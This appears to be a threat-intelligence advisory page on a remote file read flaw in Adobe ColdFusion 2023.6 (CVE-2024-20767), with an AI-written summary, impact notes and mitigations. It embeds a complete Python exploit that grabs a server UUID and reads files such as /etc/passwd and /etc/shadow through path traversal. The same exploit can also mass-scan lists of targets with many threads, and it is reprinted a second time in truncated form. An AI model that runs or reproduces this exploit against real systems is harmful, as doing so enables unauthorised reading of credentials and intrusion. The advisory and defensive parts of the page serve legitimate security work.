Adobe ColdFusion 2023.6 - Remote File Read
Adobe ColdFusion 2023.6 - Remote File Read
AI Analysis
Technical Summary
The security threat pertains to a remote file read vulnerability affecting Adobe ColdFusion version 2023.6. Adobe ColdFusion is a widely used commercial rapid web application development platform that enables developers to build dynamic websites and web applications. A remote file read vulnerability allows an attacker to read arbitrary files on the server hosting the ColdFusion application without authentication or user interaction. This can lead to exposure of sensitive information such as configuration files, source code, credentials, or other critical data stored on the server. The vulnerability is exploitable remotely over the web, which increases the attack surface significantly. The presence of publicly available exploit code written in Python further lowers the barrier to exploitation, enabling attackers to automate the attack process. Although no specific affected versions are listed beyond 2023.6, the exploit targets this particular release. No patches or official remediation links are provided, indicating that organizations may need to rely on temporary mitigations or monitor for updates from Adobe. The lack of known exploits in the wild suggests the vulnerability is either newly disclosed or not yet widely weaponized, but the availability of exploit code increases the risk of imminent exploitation attempts.
Potential Impact
For European organizations, the impact of this vulnerability can be significant. Unauthorized remote file read can lead to disclosure of sensitive internal data, including intellectual property, customer information, and system credentials. This can facilitate further attacks such as privilege escalation, lateral movement, or data exfiltration. Organizations in sectors such as finance, healthcare, government, and critical infrastructure that rely on ColdFusion-based applications are particularly at risk. Exposure of configuration files or environment variables could compromise the integrity and confidentiality of business-critical systems. Additionally, regulatory frameworks like GDPR impose strict data protection requirements, and a breach resulting from this vulnerability could lead to substantial legal and financial penalties. The medium severity rating reflects the fact that while the vulnerability does not directly allow code execution or system takeover, the information disclosure it enables can be leveraged for more severe attacks.
Mitigation Recommendations
Given the absence of official patches, European organizations should implement immediate compensating controls. These include restricting access to ColdFusion administrative interfaces and sensitive directories through network segmentation and firewall rules, ensuring that only trusted IP addresses can reach these endpoints. Implement web application firewalls (WAFs) with custom rules to detect and block suspicious requests attempting to exploit file read vulnerabilities. Conduct thorough audits of ColdFusion server configurations to disable unnecessary file system access and enforce the principle of least privilege for application processes. Monitor server logs for unusual file access patterns indicative of exploitation attempts. Organizations should also subscribe to Adobe security advisories to promptly apply patches once available. Where feasible, consider upgrading to newer, secure versions of ColdFusion or migrating critical applications to alternative platforms with stronger security postures.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Sweden
Indicators of Compromise
- exploit-code: # Exploit Title: Adobe ColdFusion 2023.6 - Remote File Read # Exploit Author: @İbrahimsql # Exploit Author's github: https://github.com/ibrahmsql # Description: ColdFusion 2023 (LUcee) - Remote Code Execution # CVE: CVE-2024-20767 # Vendor Homepage: https://www.adobe.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2024-20767.py -u http://target.com -f /etc/passwd #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import re import urllib3 import requests import argparse from urllib.parse import urlparse from concurrent.futures import ThreadPoolExecutor, as_completed urllib3.disable_warnings() class ColdFusionExploit: def __init__(self, output_file=None, port=8500): self.output_file = output_file self.port = port self.verbose = True self.session = requests.Session() def print_status(self, message, status="*"): colors = {"+": "\033[92m", "-": "\033[91m", "*": "\033[94m", "!": "\033[93m"} reset = "\033[0m" print(f"{colors.get(status, '')}{status} {message}{reset}") def normalize_url(self, url): if not url.startswith(('http://', 'https://')): url = f"http://{url}" parsed = urlparse(url) if not parsed.port: url = f"{url}:{self.port}" return url.rstrip('/') def get_uuid(self, url): endpoint = "/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat" try: response = self.session.get(f"{url}{endpoint}", verify=False, timeout=10) if response.status_code == 200: match = re.search(r"<var name='uuid'><string>(.+?)</string></var>", response.text) if match: uuid = match.group(1) if self.verbose: self.print_status(f"UUID: {uuid[:8]}...", "+") return uuid except Exception as e: if self.verbose: self.print_status(f"Error: {e}", "-") return None def read_file(self, url, uuid, file_path): headers = {"uuid": uuid} endpoint = f"/pms?module=logging&file_name=../../../../../../../{file_path}&number_of_lines=100" try: response = self.session.get(f"{url}{endpoint}", verify=False, headers=headers, timeout=10) if response.status_code == 200 and response.text.strip() != "[]": return response.text except: pass return None def test_files(self, url, uuid): files = { "Linux": ["etc/passwd", "etc/shadow", "etc/hosts"], "Windows": ["Windows/win.ini", "Windows/System32/drivers/etc/hosts", "boot.ini"] } for os_name, file_list in files.items(): for file_path in file_list: content = self.read_file(url, uuid, file_path) if content: self.print_status(f"VULNERABLE: {url} - {os_name} - {file_path}", "+") if self.verbose: print(content[:200] + "..." if len(content) > 200 else content) print("-" * 50) if self.output_file: with open(self.output_file, "a") as f: f.write(f"{url} - {os_name} - {file_path}\n") return True return False def exploit_custom_file(self, url, uuid, custom_file): content = self.read_file(url, uuid, custom_file) if content: self.print_status(f"File read: {custom_file}", "+") print(content) return True else: self.print_status(f"Failed to read: {custom_file}", "-") return False def exploit(self, url, custom_file=None): url = self.normalize_url(url) if self.verbose: self.print_status(f"Testing: {url}") uuid = self.get_uuid(url) if not uuid: if self.verbose: self.print_status(f"No UUID: {url}", "-") return False if custom_file: return self.exploit_custom_file(url, uuid, custom_file) else: return self.test_files(url, uuid) def scan_file(self, target_file, threads): if not os.path.exists(target_file): self.print_status(f"File not found: {target_file}", "-") return with open(target_file, "r") as f: urls = [line.strip() for line in f if line.strip() and not line.startswith('#')] self.print_status(f"Scanning {len(urls)} targets with {threads} threads") self.verbose = False vulnerable = 0 with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(self.exploit, url): url for url in urls} for future in as_completed(futures): url = futures[future] try: if future.result(): vulnerable += 1 print(f"[+] {url}") else: print(f"[-] {url}") except Exception as e: print(f"[!] {url} - Error: {e}") self.print_status(f"Scan complete: {vulnerable}/{len(urls)} vulnerable", "+") def main(): parser = argparse.ArgumentParser(description="ColdFusion CVE-2024-20767 Exploit") parser.add_argument("-u", "--url", help="Target URL") parser.add_argument("-f", "--file", help="File with target URLs") parser.add_argument("-p", "--port", type=int, default=8500, help="Port (default: 8500)") parser.add_argument("-c", "--custom", help="Custom file to read") parser.add_argument("-o", "--output", help="Output file") parser.add_argument("-t", "--threads", type=int, default=20, help="Threads (default: 20)") parser.add_argument("-q", "--quiet", action="store_true", help="Quiet mode") args = parser.parse_args() if not args.url and not args.file: parser.print_help() return exploit = ColdFusionExploit(args.output, args.port) exploit.verbose = not args.quiet if args.url: exploit.exploit(args.url, args.custom) elif args.file: exploit.scan_file(args.file, args.threads) if __name__ == "__main__": main()
Adobe ColdFusion 2023.6 - Remote File Read
Description
Adobe ColdFusion 2023.6 - Remote File Read
AI-Powered Analysis
Technical Analysis
The security threat pertains to a remote file read vulnerability affecting Adobe ColdFusion version 2023.6. Adobe ColdFusion is a widely used commercial rapid web application development platform that enables developers to build dynamic websites and web applications. A remote file read vulnerability allows an attacker to read arbitrary files on the server hosting the ColdFusion application without authentication or user interaction. This can lead to exposure of sensitive information such as configuration files, source code, credentials, or other critical data stored on the server. The vulnerability is exploitable remotely over the web, which increases the attack surface significantly. The presence of publicly available exploit code written in Python further lowers the barrier to exploitation, enabling attackers to automate the attack process. Although no specific affected versions are listed beyond 2023.6, the exploit targets this particular release. No patches or official remediation links are provided, indicating that organizations may need to rely on temporary mitigations or monitor for updates from Adobe. The lack of known exploits in the wild suggests the vulnerability is either newly disclosed or not yet widely weaponized, but the availability of exploit code increases the risk of imminent exploitation attempts.
Potential Impact
For European organizations, the impact of this vulnerability can be significant. Unauthorized remote file read can lead to disclosure of sensitive internal data, including intellectual property, customer information, and system credentials. This can facilitate further attacks such as privilege escalation, lateral movement, or data exfiltration. Organizations in sectors such as finance, healthcare, government, and critical infrastructure that rely on ColdFusion-based applications are particularly at risk. Exposure of configuration files or environment variables could compromise the integrity and confidentiality of business-critical systems. Additionally, regulatory frameworks like GDPR impose strict data protection requirements, and a breach resulting from this vulnerability could lead to substantial legal and financial penalties. The medium severity rating reflects the fact that while the vulnerability does not directly allow code execution or system takeover, the information disclosure it enables can be leveraged for more severe attacks.
Mitigation Recommendations
Given the absence of official patches, European organizations should implement immediate compensating controls. These include restricting access to ColdFusion administrative interfaces and sensitive directories through network segmentation and firewall rules, ensuring that only trusted IP addresses can reach these endpoints. Implement web application firewalls (WAFs) with custom rules to detect and block suspicious requests attempting to exploit file read vulnerabilities. Conduct thorough audits of ColdFusion server configurations to disable unnecessary file system access and enforce the principle of least privilege for application processes. Monitor server logs for unusual file access patterns indicative of exploitation attempts. Organizations should also subscribe to Adobe security advisories to promptly apply patches once available. Where feasible, consider upgrading to newer, secure versions of ColdFusion or migrating critical applications to alternative platforms with stronger security postures.
Affected Countries
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Technical Details
- Edb Id
- 52387
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Adobe ColdFusion 2023.6 - Remote File Read
# Exploit Title: Adobe ColdFusion 2023.6 - Remote File Read # Exploit Author: @İbrahimsql # Exploit Author's github: https://github.com/ibrahmsql # Description: ColdFusion 2023 (LUcee) - Remote Code Execution # CVE: CVE-2024-20767 # Vendor Homepage: https://www.adobe.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2024-20767.py -u http://target.com -f /etc/passwd #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import re import urllib3 import requests impor
... (5901 more characters)
Threat ID: 688824f4ad5a09ad00897125
Added to database: 7/29/2025, 1:33:40 AM
Last enriched: 10/4/2025, 12:54:43 AM
Last updated: 10/7/2025, 1:48:17 PM
Views: 37
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